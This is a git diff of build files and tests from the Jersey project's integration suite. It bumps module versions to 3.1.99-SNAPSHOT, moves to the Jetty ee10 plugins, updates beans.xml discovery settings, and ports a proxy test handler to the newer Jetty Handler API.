diff --git a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
index a1e6263..a6281b8 100644
--- a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
+++ b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
@@ -51,7 +51,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
</dependency>
<dependency>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/tests/integration/cdi-integration/cdi-singleton/pom.xml b/tests/integration/cdi-integration/cdi-singleton/pom.xml
index 7e44430..760d155 100644
--- a/tests/integration/cdi-integration/cdi-singleton/pom.xml
+++ b/tests/integration/cdi-integration/cdi-singleton/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>cdi-integration-project</artifactId>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
index c37a1e6..d410b64 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/resources/META-INF/beans.xml b/tests/integration/cdi-integration/cdi-test-webapp/src/main/resources/META-INF/beans.xml
index 14ea61e..8d3e4b2 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/resources/META-INF/beans.xml
+++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
- Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+ Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
This program and the accompanying materials are made available under the
terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,4 +17,9 @@
-->
-<beans/>
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+ xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+ http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+ bean-discovery-mode="all">
+</beans>
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml b/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml
index 14ea61e..8d3e4b2 100644
--- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml
+++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
- Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+ Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
This program and the accompanying materials are made available under the
terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,4 +17,9 @@
-->
-<beans/>
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+ xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+ http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+ bean-discovery-mode="all">
+</beans>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
index 174cf6a..99c2111 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-with-jersey-injection-custom-cfg-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
index 2914f99..2044b9d 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-with-jersey-injection-custom-hk2-banned-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
index f5be881..a1ba20a 100644
--- a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-with-jersey-injection-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/context-inject-on-server/pom.xml b/tests/integration/cdi-integration/context-inject-on-server/pom.xml
index 85b8d7f..702b21c 100644
--- a/tests/integration/cdi-integration/context-inject-on-server/pom.xml
+++ b/tests/integration/cdi-integration/context-inject-on-server/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>context-inject-on-server</artifactId>
@@ -49,7 +49,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
</dependency>
<dependency>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
index 5dac7d8..3c5bc8c 100644
--- a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
+++ b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>gf-cdi-inject-on-server</artifactId>
@@ -31,7 +31,7 @@
<description>Embedded GF tests @Inject</description>
<properties>
- <glassfish.home>${project.build.directory}/glassfish6</glassfish.home>
+ <glassfish.home>${project.build.directory}/glassfish7</glassfish.home>
<modules.dir>${glassfish.home}/glassfish/modules</modules.dir>
<glassfish.container.version>${gf.impl.version}</glassfish.container.version>
</properties>
@@ -79,6 +79,11 @@
<groupId>org.glassfish.jersey.core</groupId>
<artifactId>jersey-server</artifactId>
</dependency>
+
+ <dependency>
+ <groupId>jakarta.activation</groupId>
+ <artifactId>jakarta.activation-api</artifactId>
+ </dependency>
</dependencies>
<build>
diff --git a/tests/integration/cdi-integration/pom.xml b/tests/integration/cdi-integration/pom.xml
index 0afc99f..a0b11ae 100644
--- a/tests/integration/cdi-integration/pom.xml
+++ b/tests/integration/cdi-integration/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<packaging>pom</packaging>
diff --git a/tests/integration/client-connector-provider/pom.xml b/tests/integration/client-connector-provider/pom.xml
index 01bb35d..0524895 100644
--- a/tests/integration/client-connector-provider/pom.xml
+++ b/tests/integration/client-connector-provider/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>client-connector-provider</artifactId>
diff --git a/tests/integration/ejb-multimodule-reload/ear/pom.xml b/tests/integration/ejb-multimodule-reload/ear/pom.xml
index 289b4ea..20e482a 100644
--- a/tests/integration/ejb-multimodule-reload/ear/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/ear/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
diff --git a/tests/integration/ejb-multimodule-reload/lib/pom.xml b/tests/integration/ejb-multimodule-reload/lib/pom.xml
index 54c38fd..4e378c4 100644
--- a/tests/integration/ejb-multimodule-reload/lib/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/lib/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
diff --git a/tests/integration/ejb-multimodule-reload/pom.xml b/tests/integration/ejb-multimodule-reload/pom.xml
index af1c57a..5c9cd00 100644
--- a/tests/integration/ejb-multimodule-reload/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>ejb-multimodule-reload</artifactId>
diff --git a/tests/integration/ejb-multimodule-reload/war1/pom.xml b/tests/integration/ejb-multimodule-reload/war1/pom.xml
index c197c92..7aef695 100644
--- a/tests/integration/ejb-multimodule-reload/war1/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/war1/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
diff --git a/tests/integration/ejb-multimodule-reload/war2/pom.xml b/tests/integration/ejb-multimodule-reload/war2/pom.xml
index c0febb1..6927b77 100644
--- a/tests/integration/ejb-multimodule-reload/war2/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/war2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
diff --git a/tests/integration/ejb-multimodule/ear/pom.xml b/tests/integration/ejb-multimodule/ear/pom.xml
index ad6fa1e..7333741 100644
--- a/tests/integration/ejb-multimodule/ear/pom.xml
+++ b/tests/integration/ejb-multimodule/ear/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
diff --git a/tests/integration/ejb-multimodule/lib/pom.xml b/tests/integration/ejb-multimodule/lib/pom.xml
index 9a4e53e..c8eb1fc 100644
--- a/tests/integration/ejb-multimodule/lib/pom.xml
+++ b/tests/integration/ejb-multimodule/lib/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
diff --git a/tests/integration/ejb-multimodule/pom.xml b/tests/integration/ejb-multimodule/pom.xml
index e8c321d..b9423af 100644
--- a/tests/integration/ejb-multimodule/pom.xml
+++ b/tests/integration/ejb-multimodule/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>ejb-multimodule</artifactId>
diff --git a/tests/integration/ejb-multimodule/war/pom.xml b/tests/integration/ejb-multimodule/war/pom.xml
index 47a54b7..263d0eb 100644
--- a/tests/integration/ejb-multimodule/war/pom.xml
+++ b/tests/integration/ejb-multimodule/war/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
diff --git a/tests/integration/ejb-test-webapp/pom.xml b/tests/integration/ejb-test-webapp/pom.xml
index be9285c..b233076 100644
--- a/tests/integration/ejb-test-webapp/pom.xml
+++ b/tests/integration/ejb-test-webapp/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>ejb-test-webapp</artifactId>
@@ -40,7 +40,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
diff --git a/tests/integration/externalproperties/pom.xml b/tests/integration/externalproperties/pom.xml
index 58bb379..e4075c3 100644
--- a/tests/integration/externalproperties/pom.xml
+++ b/tests/integration/externalproperties/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>externalproperties</artifactId>
diff --git a/tests/integration/externalproperties/src/test/java/org/glassfish/jersey/tests/externalproperties/HttpProxyTest.java b/tests/integration/externalproperties/src/test/java/org/glassfish/jersey/tests/externalproperties/HttpProxyTest.java
index c6ecc29..84edb0f 100644
--- a/tests/integration/externalproperties/src/test/java/org/glassfish/jersey/tests/externalproperties/HttpProxyTest.java
+++ b/tests/integration/externalproperties/src/test/java/org/glassfish/jersey/tests/externalproperties/HttpProxyTest.java
@@ -16,9 +16,10 @@
package org.glassfish.jersey.tests.externalproperties;
+import org.eclipse.jetty.server.Handler;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.handler.AbstractHandler;
+import org.eclipse.jetty.util.Callback;
import org.glassfish.jersey.ExternalProperties;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.test.JerseyTest;
@@ -30,8 +31,6 @@
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
import jakarta.ws.rs.GET;
import jakarta.ws.rs.Path;
import jakarta.ws.rs.core.Application;
@@ -99,15 +98,13 @@
Assertions.assertFalse(proxyHit);
}
- class ProxyHandler extends AbstractHandler {
+ class ProxyHandler extends Handler.Abstract {
@Override
- public void handle(String target,
- Request baseRequest,
- HttpServletRequest request,
- HttpServletResponse response) {
+ public boolean handle(Request request, org.eclipse.jetty.server.Response response, Callback callback) throws Exception {
proxyHit = true;
response.setStatus(407);
- baseRequest.setHandled(true);
+ callback.succeeded();
+ return true;
}
ProxyHandler(boolean pProxyHit) {
@@ -117,4 +114,3 @@
}
}
-
diff --git a/tests/integration/j-376/pom.xml b/tests/integration/j-376/pom.xml
index 9fc2774..8d94854 100644
--- a/tests/integration/j-376/pom.xml
+++ b/tests/integration/j-376/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>j-376</artifactId>
@@ -75,9 +75,21 @@
<dependency>
<groupId>org.jboss.weld.se</groupId>
<artifactId>weld-se-core</artifactId>
+ <exclusions>
+ <exclusion>
+ <groupId>org.jboss.logging</groupId>
+ <artifactId>jboss-logging</artifactId>
+ </exclusion>
+ </exclusions>
<scope>compile</scope>
</dependency>
<dependency>
+ <groupId>org.jboss.logging</groupId>
+ <artifactId>jboss-logging</artifactId>
+ <version>${jboss.logging.version}</version>
+ <scope>provided</scope>
+ </dependency>
+ <dependency>
<groupId>org.glassfish.jersey.ext.cdi</groupId>
<artifactId>jersey-cdi1x</artifactId>
<version>${project.version}</version>
diff --git a/tests/integration/j-441/ear/pom.xml b/tests/integration/j-441/ear/pom.xml
index 6250fbe..91fb19a 100644
--- a/tests/integration/j-441/ear/pom.xml
+++ b/tests/integration/j-441/ear/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
<artifactId>j-441-ear</artifactId>
diff --git a/tests/integration/j-441/pom.xml b/tests/integration/j-441/pom.xml
index 972a4c1..20de56b 100644
--- a/tests/integration/j-441/pom.xml
+++ b/tests/integration/j-441/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>j-441</artifactId>
diff --git a/tests/integration/j-441/war1/pom.xml b/tests/integration/j-441/war1/pom.xml
index 3988f06..80e703e 100644
--- a/tests/integration/j-441/war1/pom.xml
+++ b/tests/integration/j-441/war1/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
@@ -42,7 +42,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
diff --git a/tests/integration/j-441/war2/pom.xml b/tests/integration/j-441/war2/pom.xml
index a670bcc..b34a39d 100644
--- a/tests/integration/j-441/war2/pom.xml
+++ b/tests/integration/j-441/war2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
@@ -42,7 +42,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
diff --git a/tests/integration/j-59/ear/pom.xml b/tests/integration/j-59/ear/pom.xml
index 143fdc0..e285757 100644
--- a/tests/integration/j-59/ear/pom.xml
+++ b/tests/integration/j-59/ear/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
diff --git a/tests/integration/j-59/lib/pom.xml b/tests/integration/j-59/lib/pom.xml
index 1021639..f6d37be 100644
--- a/tests/integration/j-59/lib/pom.xml
+++ b/tests/integration/j-59/lib/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
diff --git a/tests/integration/j-59/pom.xml b/tests/integration/j-59/pom.xml
index 8f10570..a6430ce 100644
--- a/tests/integration/j-59/pom.xml
+++ b/tests/integration/j-59/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>j-59</artifactId>
diff --git a/tests/integration/j-59/war/pom.xml b/tests/integration/j-59/war/pom.xml
index 6336bd3..485f79f 100644
--- a/tests/integration/j-59/war/pom.xml
+++ b/tests/integration/j-59/war/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
@@ -65,6 +65,11 @@
<artifactId>hamcrest</artifactId>
<scope>test</scope>
</dependency>
+ <dependency>
+ <groupId>jakarta.jws</groupId>
+ <artifactId>jakarta.jws-api</artifactId>
+ <version>1.1.1</version>
+ </dependency>
</dependencies>
<build>
@@ -96,22 +101,6 @@
</plugins>
</build>
- <profiles>
- <profile>
- <id>jdk11+</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <dependencies>
- <dependency>
- <groupId>jakarta.jws</groupId>
- <artifactId>jakarta.jws-api</artifactId>
- <version>1.1.1</version>
- </dependency>
- </dependencies>
- </profile>
- </profiles>
-
<properties>
<failOnMissingWebXml>false</failOnMissingWebXml>
<skipTests>true</skipTests>
diff --git a/tests/integration/jackson-14/pom.xml b/tests/integration/jackson-14/pom.xml
index 5a3a8dc..6e63995 100644
--- a/tests/integration/jackson-14/pom.xml
+++ b/tests/integration/jackson-14/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jaxrs-component-inject/pom.xml b/tests/integration/jaxrs-component-inject/pom.xml
index 217752a..05f289c 100644
--- a/tests/integration/jaxrs-component-inject/pom.xml
+++ b/tests/integration/jaxrs-component-inject/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jaxrs-component-inject</artifactId>
@@ -54,8 +54,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-1107/pom.xml b/tests/integration/jersey-1107/pom.xml
index e9f49dd..d8b55d7 100644
--- a/tests/integration/jersey-1107/pom.xml
+++ b/tests/integration/jersey-1107/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-1107</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-1223/pom.xml b/tests/integration/jersey-1223/pom.xml
index 50f517f..7df7d30 100644
--- a/tests/integration/jersey-1223/pom.xml
+++ b/tests/integration/jersey-1223/pom.xml
@@ -21,7 +21,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>jersey-1223</artifactId>
@@ -58,8 +58,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-1604/pom.xml b/tests/integration/jersey-1604/pom.xml
index 6046f62..f3821e4 100644
--- a/tests/integration/jersey-1604/pom.xml
+++ b/tests/integration/jersey-1604/pom.xml
@@ -21,7 +21,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>jersey-1604</artifactId>
@@ -61,8 +61,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-1667/pom.xml b/tests/integration/jersey-1667/pom.xml
index 278c698..0c910e5 100644
--- a/tests/integration/jersey-1667/pom.xml
+++ b/tests/integration/jersey-1667/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-1667</artifactId>
@@ -60,8 +60,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-1883/pom.xml b/tests/integration/jersey-1883/pom.xml
index b06b1c1..4b2fe83 100644
--- a/tests/integration/jersey-1883/pom.xml
+++ b/tests/integration/jersey-1883/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-1883</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-1928/pom.xml b/tests/integration/jersey-1928/pom.xml
index daea1a5..8ca34eb 100644
--- a/tests/integration/jersey-1928/pom.xml
+++ b/tests/integration/jersey-1928/pom.xml
@@ -21,7 +21,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>jersey-1928</artifactId>
@@ -57,8 +57,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/jersey-1960/pom.xml b/tests/integration/jersey-1960/pom.xml
index 468385f..0231346 100644
--- a/tests/integration/jersey-1960/pom.xml
+++ b/tests/integration/jersey-1960/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-1960</artifactId>
@@ -36,7 +36,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
